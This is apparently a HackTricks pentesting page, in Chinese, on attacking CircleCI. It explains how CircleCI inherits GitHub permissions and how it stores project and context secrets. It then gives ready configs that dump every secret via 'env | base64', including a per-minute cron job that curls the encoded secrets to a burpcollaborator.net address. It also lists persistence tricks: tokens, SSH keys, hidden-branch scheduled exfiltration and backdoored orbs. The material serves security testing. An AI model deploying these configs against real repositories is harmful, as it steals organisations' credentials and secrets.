CircleCI Security

支持 HackTricks

基本信息

CircleCI 是一个持续集成平台,您可以在其中 定义模板 指示您希望它对某些代码做什么以及何时执行。通过这种方式,您可以 自动化测试部署,例如直接 从您的代码库主分支

权限

CircleCI 继承 与登录的 账户 相关的 github 和 bitbucket 的权限。 在我的测试中,我检查到只要您在 github 上对代码库具有 写权限,您就能够 管理 CircleCI 中的项目设置(设置新的 ssh 密钥,获取项目 api 密钥,创建带有新 CircleCI 配置的新分支...)。

然而,您需要是 代码库管理员 才能 将代码库转换为 CircleCI 项目

环境变量与秘密

根据 文档,有不同的方法可以 在工作流中加载环境变量的值

内置环境变量

每个由 CircleCI 运行的容器将始终具有 文档中定义的特定环境变量,如 CIRCLE_PR_USERNAMECIRCLE_PROJECT_REPONAMECIRCLE_USERNAME

明文

您可以在 命令 中以明文声明它们:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

您可以在 run environment 中以明文声明它们:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

您可以在 build-job environment 中以明文声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

您可以在 容器的环境 中以明文声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

项目秘密

这些是秘密,只有项目(通过任何分支)可以访问。 您可以在 https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables 中查看它们声明

导入变量”功能允许将其他项目的变量导入到此项目中。

上下文秘密

这些是组织范围内的秘密。默认情况下,任何仓库都可以访问存储在这里的任何秘密:

但是,请注意,可以选择不同的组(而不是所有成员)来仅向特定人员提供对秘密的访问。 这目前是提高秘密安全性的最佳方法之一,不允许每个人访问它们,而只是一些人。

攻击

搜索明文秘密

如果您有访问VCS(如github),请检查每个仓库每个分支的文件 .circleci/config.yml搜索潜在的明文秘密

秘密环境变量和上下文枚举

检查代码,您可以找到在每个 .circleci/config.yml 文件中使用的所有秘密名称。您还可以从这些文件中获取上下文名称,或在网页控制台中查看:https://app.circleci.com/settings/organization/github/<org_name>/contexts

外泄项目秘密

为了外泄所有项目和上下文的秘密,您只需对整个github组织中的1个仓库具有写入权限(并且您的帐户必须具有对上下文的访问权限,但默认情况下每个人都可以访问每个上下文)。

导入变量”功能允许将其他项目的变量导入到此项目中。因此,攻击者可以从所有仓库导入所有项目变量,然后一起外泄所有变量

所有项目秘密始终在作业的环境中设置,因此只需调用环境并将其混淆为base64,将在工作流网页日志控制台中外泄秘密:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以创建一个工作流,该工作流每分钟触发一次并且将秘密导出到外部地址

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

导出上下文秘密

您需要指定上下文名称(这也将导出项目秘密):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以修改一个每分钟触发的工作流,并且该工作流将秘密导出到外部地址

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

仅仅在一个仓库中创建一个新的 .circleci/config.yml 并不足以触发 circleci 构建。你需要在 circleci 控制台中将其启用为项目

逃往云端

CircleCI 让你可以选择 在他们的机器上或在你自己的机器上运行构建。 默认情况下,他们的机器位于 GCP,最初你可能找不到任何相关信息。然而,如果受害者在 他们自己的机器上(可能是在云环境中)运行任务,你可能会找到一个 包含有趣信息的云元数据端点

请注意,在之前的示例中,一切都是在 docker 容器内启动的,但你也可以 请求启动一台虚拟机(这可能具有不同的云权限):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

或者甚至是一个可以访问远程 docker 服务的 docker 容器:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

持久性

  • 可以在 CircleCI创建用户令牌 以使用用户的访问权限访问 API 端点。

  • https://app.circleci.com/settings/user/tokens

  • 可以 创建项目令牌 以使用令牌授予的权限访问项目。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • 可以 向项目添加 SSH 密钥

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 可以在一个意外的项目中 在隐藏分支中创建定时任务,每天 泄露 所有的 上下文环境 变量。

  • 或者甚至在一个分支中创建/修改一个已知的任务,使其每天 泄露 所有上下文和 项目秘密

  • 如果你是 GitHub 的所有者,你可以 允许未验证的 orbs 并在一个任务中将其配置为 后门

  • 你可以在某些任务中找到 命令注入漏洞 并通过 秘密 修改其值来 注入命令

支持 HackTricks

Last updated